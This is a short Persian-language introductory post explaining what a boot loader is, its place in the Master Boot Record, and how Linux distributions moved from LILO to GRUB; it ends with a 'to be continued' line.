    boot loader چیست و فرآیند بوت چگونه است ؟ boot loader اولین برنامه ای است که در هنگان روشن شدن کامپیوتر اجرا می شود. مسئولیت boot loader بارکردن و انتقال کنترل به کرنل سیستم عامل می باشد. پس از اینکه کرنل کنترل سیستم را به دست گرفت، سایر قسمتهای باقی مانده سیستم عامل را بارگذاری و اجرا می کند. boot loader بر روی Master Boot Record ذخیره می شود. حالا MBR چیست؟ MBR یک بوت سکتور 512 بایتی است که در ابتدای هارد دیسک قرار دارد. boot loader در واقع شامل یکسری درایورهای بسیار ساده برای شناختن فایل سیستم است. البته منظور در این مرحله تنها شناخت فایل سیستم منطقه ای است که در آن kernel image و initRD image ذخیره شده است. لینوکس ها در گذشته از ابزای به نام lilo برای boot loader استفاده می کردند. اما با ظهور Grub این ابزار جایگزین lilo شد. همکنون اکثر توزیع های لینوکس از Grub استفاده می کنند. ادامه دارد ...